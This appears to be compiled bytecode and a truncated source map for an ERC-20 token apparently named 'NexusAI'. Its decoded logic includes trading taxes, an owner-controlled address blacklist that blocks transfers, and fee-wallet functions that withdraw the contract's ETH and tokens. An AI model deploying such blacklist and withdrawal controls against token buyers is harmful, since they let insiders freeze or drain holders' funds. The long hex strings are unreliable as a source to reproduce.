085815260200190565b60405180910390a35b6113ae848484846116c3565b5050505050565b5f81848411156113d85760405162461bcd60e51b81526004016104d29190611820565b505f6113e48486611bde565b95945050505050565b5f825f036113fc57505f610576565b5f6114078385611b3e565b9050826114148583611bf1565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d2565b9392505050565b5f61146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b3565b5f8183116114c1578261146b565b50919050565b601c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061150757611507611b9f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115829190611c10565b8160018151811061159557611595611b9f565b6001600160a01b0392831660209182029290920101526018546115bb9130911684610b57565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f39085905f90869030904290600401611c2b565b5f604051808303815f87803b15801561160a575f80fd5b505af115801561161c573d5f803e3d5ffd5b5050601c805460ff1916905550505050565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109dd573d5f803e3d5ffd5b5f806116718385611bcb565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d2565b6001600160a01b0384165f90815260066020526040812054839060ff16156116e857505f5b6001600160a01b0386165f9081526001602052604090205461170a90826117df565b6001600160a01b0387165f9081526001602052604090205561174d61172f85856117df565b6001600160a01b0387165f9081526001602052604090205490611665565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61179687876117df565b60405190815260200160405180910390a350600195945050505050565b5f81836117d35760405162461bcd60e51b81526004016104d29190611820565b505f6113e48486611bf1565b5f61146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b5565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105f2575f80fd5b803561187481611855565b919050565b5f806040838503121561188a575f80fd5b823561189581611855565b946020939093013593505050565b5f805f606084860312156118b5575f80fd5b83356118c081611855565b925060208401356118d081611855565b929592945050506040919091013590565b5f602082840312156118f1575f80fd5b813561146b81611855565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611921575f80fd5b823567ffffffffffffffff80821115611938575f80fd5b818501915085601f83011261194b575f80fd5b81358181111561195d5761195d6118fc565b8060051b604051601f19603f83011681018181108582111715611982576119826118fc565b60405291825284820192508381018501918883111561199f575f80fd5b938501935b828510156119c4576119b585611869565b845293850193928501926119a4565b98975050505050505050565b5f80604083850312156119e1575f80fd5b82356119ec81611855565b915060208301356119fc81611855565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a8a57815f1904821115611a7057611a70611a3c565b80851615611a7d57918102915b93841c9390800290611a55565b509250929050565b5f82611aa057506001610576565b81611aac57505f610576565b8160018114611ac25760028114611acc57611ae8565b6001915050610576565b60ff841115611add57611add611a3c565b50506001821b610576565b5060208310610133831016604e8410600b8410161715611b0b575081810a610576565b611b158383611a50565b805f1904821115611b2857611b28611a3c565b029392505050565b5f61146b60ff841683611a92565b808202811582820484141761057657610576611a3c565b5f60208284031215611b65575f80fd5b8151801515811461146b575f80fd5b5f805f60608486031215611b86575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bc457611bc4611a3c565b5060010190565b8082018082111561057657610576611a3c565b8181038181111561057657610576611a3c565b5f82611c0b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611c20575f80fd5b815161146b81611855565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c7b5784516001600160a01b031683529383019391830191600101611c56565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f22d52defe36c766104e22dc77abf287bfdf09023219cd4a27919b700ff0fab264736f6c63430008190033

0x608060405260043610610164575f3560e01c8063715018a6116100cd5780639c54df6411610087578063d84f35b211610062578063d84f35b2146103f9578063dd62ed3e14610418578063f2fde38b1461045c578063f5b3c3bf1461047b575f80fd5b80639c54df64146103a6578063a9059cbb146103c5578063bf474bed146103e4575f80fd5b8063715018a6146103385780637d1db4a51461034c5780638a8c523c146103615780638da5cb5b146103755780638f9a55c01461039157806395d89b4114610185575f80fd5b806323b872dd1161011e57806323b872dd1461023d57806324d7806c1461025c578063313ce5671461029357806349bd5a5e146102ae57806357376198146102e557806370a0823114610304575f80fd5b806301ab6ee51461016f57806306fdde0314610185578063095ea7b3146101c35780630faee56f146101f257806318160ddd1461021557806320800a0014610229575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a9565b005b348015610190575f80fd5b5060408051808201825260078152664e65787573414960c81b602082015290516101ba9190611820565b60405180910390f35b3480156101ce575f80fd5b506101e26101dd366004611879565b610566565b60405190151581526020016101ba565b3480156101fd575f80fd5b5061020760175481565b6040519081526020016101ba565b348015610220575f80fd5b5061020761057c565b348015610234575f80fd5b5061018361059d565b348015610248575f80fd5b506101e26102573660046118a3565b6105f5565b348015610267575f80fd5b506101e26102763660046118e1565b6001600160a01b03165f9081526007602052604090205460ff1690565b34801561029e575f80fd5b50604051600981526020016101ba565b3480156102b9575f80fd5b506019546102cd906001600160a01b031681565b6040516001600160a01b0390911681526020016101ba565b3480156102f0575f80fd5b506101836102ff366004611879565b61065c565b34801561030f575f80fd5b5061020761031e3660046118e1565b6001600160a01b03165f9081526001602052604090205490565b348015610343575f80fd5b506101836106f4565b348015610357575f80fd5b5061020760145481565b34801561036c575f80fd5b50610183610765565b348015610380575f80fd5b505f546001600160a01b03166102cd565b34801561039c575f80fd5b5061020760155481565b3480156103b1575f80fd5b506101836103c0366004611910565b610959565b3480156103d0575f80fd5b506101e26103df366004611879565b6109e1565b3480156103ef575f80fd5b5061020760165481565b348015610404575f80fd5b50610183610413366004611910565b6109ed565b348015610423575f80fd5b506102076104323660046119d0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610467575f80fd5b506101836104763660046118e1565b610a70565b348015610486575f80fd5b506101e26104953660046118e1565b60046020525f908152604090205460ff1681565b5f546001600160a01b031633146104db5760405162461bcd60e51b81526004016104d290611a07565b60405180910390fd5b6104e76009600a611b30565b6104f6906402540be400611b3e565b6014556105056009600a611b30565b610514906402540be400611b3e565b6015557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105446009600a611b30565b610553906402540be400611b3e565b60405190815260200160405180910390a1565b5f610572338484610b57565b5060015b92915050565b5f6105896009600a611b30565b610598906402540be400611b3e565b905090565b6008546001600160a01b0316336001600160a01b0316146105bc575f80fd5b6008546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156105f2573d5f803e3d5ffd5b50565b5f610601848484610c7a565b610652843361064d85604051806060016040528060288152602001611c9d602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906113b5565b610b57565b5060019392505050565b6008546001600160a01b0316336001600160a01b03161461067b575f80fd5b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af11580156106cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ef9190611b55565b505050565b5f546001600160a01b0316331461071d5760405162461bcd60e51b81526004016104d290611a07565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104d290611a07565b601954600160a01b900460ff16156107e85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d2565b6018546001600160a01b031663f305d7194730610819816001600160a01b03165f9081526001602052604090205490565b5f8061082c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610892573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b79190611b74565b505060195460185460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561090c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109309190611b55565b50601c805461ff0019166101001790556019805460ff60a01b1916600160a01b17905543600955565b5f546001600160a01b031633146109825760405162461bcd60e51b81526004016104d290611a07565b5f5b81518110156109dd57600160075f8484815181106109a4576109a4611b9f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610984565b5050565b5f610572338484610c7a565b5f546001600160a01b03163314610a165760405162461bcd60e51b81526004016104d290611a07565b5f5b81518110156109dd575f60075f848481518110610a3757610a37611b9f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a18565b5f546001600160a01b03163314610a995760405162461bcd60e51b81526004016104d290611a07565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d2565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d2565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d2565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d2565b5f8111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d2565b6001600160a01b0383165f9081526007602052604090205460ff16158015610de157506001600160a01b0382165f9081526007602052604090205460ff16155b610de9575f80fd5b5f80546001600160a01b03858116911614801590610e1457505f546001600160a01b03848116911614155b8015610e3857506001600160a01b0384165f9081526006602052604090205460ff16155b8015610e5c57506001600160a01b0383165f9081526006602052604090205460ff16155b1561132a57610e8d6064610e87600e5460115411610e7c57600a54610e80565b600c545b85906113ed565b90611472565b90506009544303610f1757601b54435f9081526005602052604090205410610ef75760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016104d2565b435f908152600560205260408120805491610f1183611bb3565b91905055505b6001600160a01b0384165f9081526004602052604090205460ff168015610f4c57506018546001600160a01b03848116911614155b8015610f7057506001600160a01b0383165f9081526003602052604090205460ff16155b1561105657601454821115610fc75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d2565b60155482610fe9856001600160a01b03165f9081526001602052604090205490565b610ff39190611bcb565b11156110415760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d2565b60118054905f61105083611bb3565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff1615801561109657506001600160a01b0383165f9081526003602052604090205460ff16155b1561111557601554826110bd856001600160a01b03165f9081526001602052604090205490565b6110c79190611bcb565b11156111155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d2565b6001600160a01b0383165f9081526004602052604090205460ff16801561114557506001600160a01b0384163014155b156111725761116f6064610e87600f546011541161116557600b54610e80565b600d5485906113ed565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156111b257506001600160a01b0383165f9081526004602052604090205460ff16155b80156111c757506001600160a01b0384163014155b156111cf57505f5b305f90815260016020526040902054601c5460ff1615801561120857506001600160a01b0384165f9081526004602052604090205460ff165b801561121b5750601c54610100900460ff165b8015611228575060165481115b80156112375750601054601154115b156112a55760135443111561124b575f6012555b601a546012541061125a575f80fd5b6112776112728461126d846017546114b3565b6114b3565b6114c7565b478015611287576112874761162e565b60128054905f61129683611bb3565b90915550504360135550611328565b601c5460ff161580156112cf57506001600160a01b0384165f9081526004602052604090205460ff165b80156112e25750601c54610100900460ff165b80156112ef575060165481115b80156112fe5750601054601154115b15611328576113166112728461126d846017546114b3565b478015611326576113264761162e565b505b505b80156113a257305f908152600160205260409020546113499082611665565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113999085815260200190565b60405180910390a35b6113ae848484846116c3565b5050505050565b5f81848411156113d85760405162461bcd60e51b81526004016104d29190611820565b505f6113e48486611bde565b95945050505050565b5f825f036113fc57505f610576565b5f6114078385611b3e565b9050826114148583611bf1565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d2565b9392505050565b5f61146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b3565b5f8183116114c1578261146b565b50919050565b601c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061150757611507611b9f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115829190611c10565b8160018151811061159557611595611b9f565b6001600160a01b0392831660209182029290920101526018546115bb9130911684610b57565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f39085905f90869030904290600401611c2b565b5f604051808303815f87803b15801561160a575f80fd5b505af115801561161c573d5f803e3d5ffd5b5050601c805460ff1916905550505050565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109dd573d5f803e3d5ffd5b5f806116718385611bcb565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d2565b6001600160a01b0384165f90815260066020526040812054839060ff16156116e857505f5b6001600160a01b0386165f9081526001602052604090205461170a90826117df565b6001600160a01b0387165f9081526001602052604090205561174d61172f85856117df565b6001600160a01b0387165f9081526001602052604090205490611665565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61179687876117df565b60405190815260200160405180910390a350600195945050505050565b5f81836117d35760405162461bcd60e51b81526004016104d29190611820565b505f6113e48486611bf1565b5f61146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b5565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105f2575f80fd5b803561187481611855565b919050565b5f806040838503121561188a575f80fd5b823561189581611855565b946020939093013593505050565b5f805f606084860312156118b5575f80fd5b83356118c081611855565b925060208401356118d081611855565b929592945050506040919091013590565b5f602082840312156118f1575f80fd5b813561146b81611855565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611921575f80fd5b823567ffffffffffffffff80821115611938575f80fd5b818501915085601f83011261194b575f80fd5b81358181111561195d5761195d6118fc565b8060051b604051601f19603f83011681018181108582111715611982576119826118fc565b60405291825284820192508381018501918883111561199f575f80fd5b938501935b828510156119c4576119b585611869565b845293850193928501926119a4565b98975050505050505050565b5f80604083850312156119e1575f80fd5b82356119ec81611855565b915060208301356119fc81611855565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a8a57815f1904821115611a7057611a70611a3c565b80851615611a7d57918102915b93841c9390800290611a55565b509250929050565b5f82611aa057506001610576565b81611aac57505f610576565b8160018114611ac25760028114611acc57611ae8565b6001915050610576565b60ff841115611add57611add611a3c565b50506001821b610576565b5060208310610133831016604e8410600b8410161715611b0b575081810a610576565b611b158383611a50565b805f1904821115611b2857611b28611a3c565b029392505050565b5f61146b60ff841683611a92565b808202811582820484141761057657610576611a3c565b5f60208284031215611b65575f80fd5b8151801515811461146b575f80fd5b5f805f60608486031215611b86575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611bc457611bc4611a3c565b5060010190565b8082018082111561057657610576611a3c565b8181038181111561057657610576611a3c565b5f82611c0b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611c20575f80fd5b815161146b81611855565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c7b5784516001600160a01b031683529383019391830191600101611c56565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f22d52defe36c766104e22dc77abf287bfdf09023219cd4a27919b700ff0fab264736f6c63430008190033

5154:11281:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15200:165;;;;;;;;;;;;;:::i;:::-;;7838:83;;;;;;;;;;-1:-1:-1;7908:5:0;;;;;;;;;;;-1:-1:-1;;;7908:5:0;;;;7838:83;;;;7908:5;7838:83;:::i;:::-;;;;;;;;8744:193;;;;;;;;;;-1:-1:-1;8744:193:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;8744:193:0;1032:187:1;6515:54:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;6515:54:0;1224:177:1;8115:95:0;;;;;;;;;;;;;:::i;14857:146::-;;;;;;;;;;;;;:::i;8945:446::-;;;;;;;;;;-1:-1:-1;8945:446:0;;;;;:::i;:::-;;:::i;16308:87::-;;;;;;;;;;-1:-1:-1;16308:87:0;;;;;:::i;:::-;-1:-1:-1;;;;;16378:9:0;16357:4;16378:9;;;:6;:9;;;;;;;;;16308:87;8024:83;;;;;;;;;;-1:-1:-1;8024:83:0;;6129:1;2261:36:1;;2249:2;2234:18;8024:83:0;2119:184:1;6627:28:0;;;;;;;;;;-1:-1:-1;6627:28:0;;;;-1:-1:-1;;;;;6627:28:0;;;;;;-1:-1:-1;;;;;2472:32:1;;;2454:51;;2442:2;2427:18;6627:28:0;2308:203:1;15011:181:0;;;;;;;;;;-1:-1:-1;15011:181:0;;;;;:::i;:::-;;:::i;8218:119::-;;;;;;;;;;-1:-1:-1;8218:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8311:18:0;8284:7;8311:18;;;:9;:18;;;;;;;8218:119;3817:148;;;;;;;;;;;;;:::i;6318:57::-;;;;;;;;;;;;;;;;15373:561;;;;;;;;;;;;;:::i;3603:79::-;;;;;;;;;;-1:-1:-1;3641:7:0;3668:6;-1:-1:-1;;;;;3668:6:0;3603:79;;6382:59;;;;;;;;;;;;;;;;15946:174;;;;;;;;;;-1:-1:-1;15946:174:0;;;;;:::i;:::-;;:::i;8345:199::-;;;;;;;;;;-1:-1:-1;8345:199:0;;;;;:::i;:::-;;:::i;6448:60::-;;;;;;;;;;;;;;;;16128:172;;;;;;;;;;-1:-1:-1;16128:172:0;;;;;:::i;:::-;;:::i;8552:184::-;;;;;;;;;;-1:-1:-1;8552:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;8701:18:0;;;8669:7;8701:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8552:184;3973:281;;;;;;;;;;-1:-1:-1;3973:281:0;;;;;:::i;:::-;;:::i;5412:42::-;;;;;;;;;;-1:-1:-1;5412:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15200:165;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;;;;;;;;;6186:13:::1;6129:1;6186:2;:13;:::i;:::-;6172:27;::::0;:11:::1;:27;:::i;:::-;15257:12;:22:::0;6186:13:::1;6129:1;6186:2;:13;:::i;:::-;6172:27;::::0;:11:::1;:27;:::i;:::-;15290:14;:24:::0;15330:27:::1;6186:13;6129:1;6186:2;:13;:::i;:::-;6172:27;::::0;:11:::1;:27;:::i;:::-;15330;::::0;1370:25:1;;;1358:2;1343:18;15330:27:0::1;;;;;;;15200:165::o:0;8744:193::-;8846:4;8868:39;1223:10;8891:7;8900:6;8868:8;:39::i;:::-;-1:-1:-1;8925:4:0;8744:193;;;;;:::o;8115:95::-;8168:7;6186:13;6129:1;6186:2;:13;:::i;:::-;6172:27;;:11;:27;:::i;:::-;8188:14;;8115:95;:::o;14857:146::-;14922:10;;-1:-1:-1;;;;;14922:10:0;1223;-1:-1:-1;;;;;14906:26:0;;14898:35;;;;;;14952:10;;14944:51;;-1:-1:-1;;;;;14952:10:0;;;;14973:21;14944:51;;;;;14952:10;14944:51;14952:10;14944:51;14973:21;14952:10;14944:51;;;;;;;;;;;;;;;;;;;;;14857:146::o;8945:446::-;9077:4;9094:36;9104:6;9112:9;9123:6;9094:9;:36::i;:::-;9141:220;9164:6;1223:10;9212:138;9268:6;9212:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9212:19:0;;;;;;:11;:19;;;;;;;;1223:10;9212:33;;;;;;;;;;:37;:138::i;:::-;9141:8;:220::i;:::-;-1:-1:-1;9379:4:0;8945:446;;;;;:::o;15011:181::-;15114:10;;-1:-1:-1;;;;;15114:10:0;1223;-1:-1:-1;;;;;15098:26:0;;15090:35;;;;;;15164:10;;15136:48;;-1:-1:-1;;;15136:48:0;;-1:-1:-1;;;;;15164:10:0;;;15136:48;;;6392:51:1;6459:18;;;6452:34;;;15136:27:0;;;;;;6365:18:1;;15136:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15011:181;;:::o;3817:148::-;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;3924:1:::1;3908:6:::0;;3887:40:::1;::::0;-1:-1:-1;;;;;3908:6:0;;::::1;::::0;3887:40:::1;::::0;3924:1;;3887:40:::1;3955:1;3938:19:::0;;-1:-1:-1;;;;;;3938:19:0::1;::::0;;3817:148::o;15373:561::-;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;15437:11:::1;::::0;-1:-1:-1;;;15437:11:0;::::1;;;15436:12;15428:48;;;::::0;-1:-1:-1;;;15428:48:0;;6981:2:1;15428:48:0::1;::::0;::::1;6963:21:1::0;7020:2;7000:18;;;6993:30;7059:25;7039:18;;;7032:53;7102:18;;15428:48:0::1;6779:347:1::0;15428:48:0::1;15487:15;::::0;-1:-1:-1;;;;;15487:15:0::1;:31;15526:21;15571:4;15591:24;15571:4:::0;-1:-1:-1;;;;;8311:18:0;8284:7;8311:18;;;:9;:18;;;;;;;8218:119;15591:24:::1;15630:1;15646::::0;15662:7:::1;3641::::0;3668:6;-1:-1:-1;;;;;3668:6:0;;3603:79;15662:7:::1;15487:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15487:223:0;;;-1:-1:-1;;;;;7490:15:1;;;15487:223:0::1;::::0;::::1;7472:34:1::0;7522:18;;;7515:34;;;;7565:18;;;7558:34;;;;7608:18;;;7601:34;7672:15;;;7651:19;;;7644:44;15684:15:0::1;7704:19:1::0;;;7697:35;7406:19;;15487:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15728:13:0::1;::::0;15773:15:::1;::::0;15721:111:::1;::::0;-1:-1:-1;;;15721:111:0;;-1:-1:-1;;;;;15773:15:0;;::::1;15721:111;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;15728:13:0;::::1;::::0;-1:-1:-1;15721:29:0::1;::::0;6365:18:1;;15721:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;15843:11:0::1;:18:::0;;-1:-1:-1;;15843:18:0::1;;;::::0;;15872:11:::1;:18:::0;;-1:-1:-1;;;;15872:18:0::1;-1:-1:-1::0;;;15872:18:0::1;::::0;;15914:12:::1;15901:10;:25:::0;15373:561::o;15946:174::-;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;16024:6:::1;16019:94;16040:7;:14;16036:1;:18;16019:94;;;16097:4;16076:6;:18;16083:7;16091:1;16083:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;16076:18:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;16076:18:0;:25;;-1:-1:-1;;16076:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;16056:3:0::1;16019:94;;;;15946:174:::0;:::o;8345:199::-;8450:4;8472:42;1223:10;8496:9;8507:6;8472:9;:42::i;16128:172::-;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;16205:6:::1;16200:93;16221:8;:15;16217:1;:19;16200:93;;;16278:5;16256:6;:19;16263:8;16272:1;16263:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;16256:19:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;16256:19:0;:27;;-1:-1:-1;;16256:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;16238:3:0::1;16200:93;;3973:281:::0;3730:6;;-1:-1:-1;;;;;3730:6:0;1223:10;3730:22;3722:67;;;;-1:-1:-1;;;3722:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4076:22:0;::::1;4054:110;;;::::0;-1:-1:-1;;;4054:110:0;;8667:2:1;4054:110:0::1;::::0;::::1;8649:21:1::0;8706:2;8686:18;;;8679:30;8745:34;8725:18;;;8718:62;-1:-1:-1;;;8796:18:1;;;8789:36;8842:19;;4054:110:0::1;8465:402:1::0;4054:110:0::1;4201:6;::::0;;4180:38:::1;::::0;-1:-1:-1;;;;;4180:38:0;;::::1;::::0;4201:6;::::1;::::0;4180:38:::1;::::0;::::1;4229:6;:17:::0;;-1:-1:-1;;;;;;4229:17:0::1;-1:-1:-1::0;;;;;4229:17:0;;;::::1;::::0;;;::::1;::::0;;3973:281::o;9399:369::-;-1:-1:-1;;;;;9526:19:0;;9518:68;;;;-1:-1:-1;;;9518:68:0;;9074:2:1;9518:68:0;;;9056:21:1;9113:2;9093:18;;;9086:30;9152:34;9132:18;;;9125:62;-1:-1:-1;;;9203:18:1;;;9196:34;9247:19;;9518:68:0;8872:400:1;9518:68:0;-1:-1:-1;;;;;9605:21:0;;9597:68;;;;-1:-1:-1;;;9597:68:0;;9479:2:1;9597:68:0;;;9461:21:1;9518:2;9498:18;;;9491:30;9557:34;9537:18;;;9530:62;-1:-1:-1;;;9608:18:1;;;9601:32;9650:19;;9597:68:0;9277:398:1;9597:68:0;-1:-1:-1;;;;;9676:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9728:32;;1370:25:1;;;9728:32:0;;1343:18:1;9728:32:0;;;;;;;9399:369;;;:::o;9776:3870::-;-1:-1:-1;;;;;9898:18:0;;9890:68;;;;-1:-1:-1;;;9890:68:0;;9882:2:1;9890:68:0;;;9864:21:1;9921:2;9901:18;;;9894:30;9960:34;9940:18;;;9933:62;-1:-1:-1;;;10011:18:1;;;10004:35;10056:19;;9890:68:0;9680:401:1;9890:68:0;-1:-1:-1;;;;;9977:16:0;;9969:64;;;;-1:-1:-1;;;9969:64:0;;10288:2:1;9969:64:0;;;10270:21:1;10327:2;10307:18;;;10300:30;10366:34;10346:18;;;10339:62;-1:-1:-1;;;10417:18:1;;;10410:33;10460:19;;9969:64:0;10086:399:1;9969:64:0;10061:1;10052:6;:10;10044:64;;;;-1:-1:-1;;;10044:64:0;;10692:2:1;10044:64:0;;;10674:21:1;10731:2;10711:18;;;10704:30;10770:34;10750:18;;;10743:62;-1:-1:-1;;;10821:18:1;;;10814:39;10870:19;;10044:64:0;10490:405:1;10044:64:0;-1:-1:-1;;;;;10128:12:0;;;;;;:6;:12;;;;;;;;10127:13;:28;;;;-1:-1:-1;;;;;;10145:10:0;;;;;;:6;:10;;;;;;;;10144:11;10127:28;10119:37;;;;;;10167:17;3668:6;;-1:-1:-1;;;;;10205:15:0;;;3668:6;;10205:15;;;;:32;;-1:-1:-1;3641:7:0;3668:6;-1:-1:-1;;;;;10224:1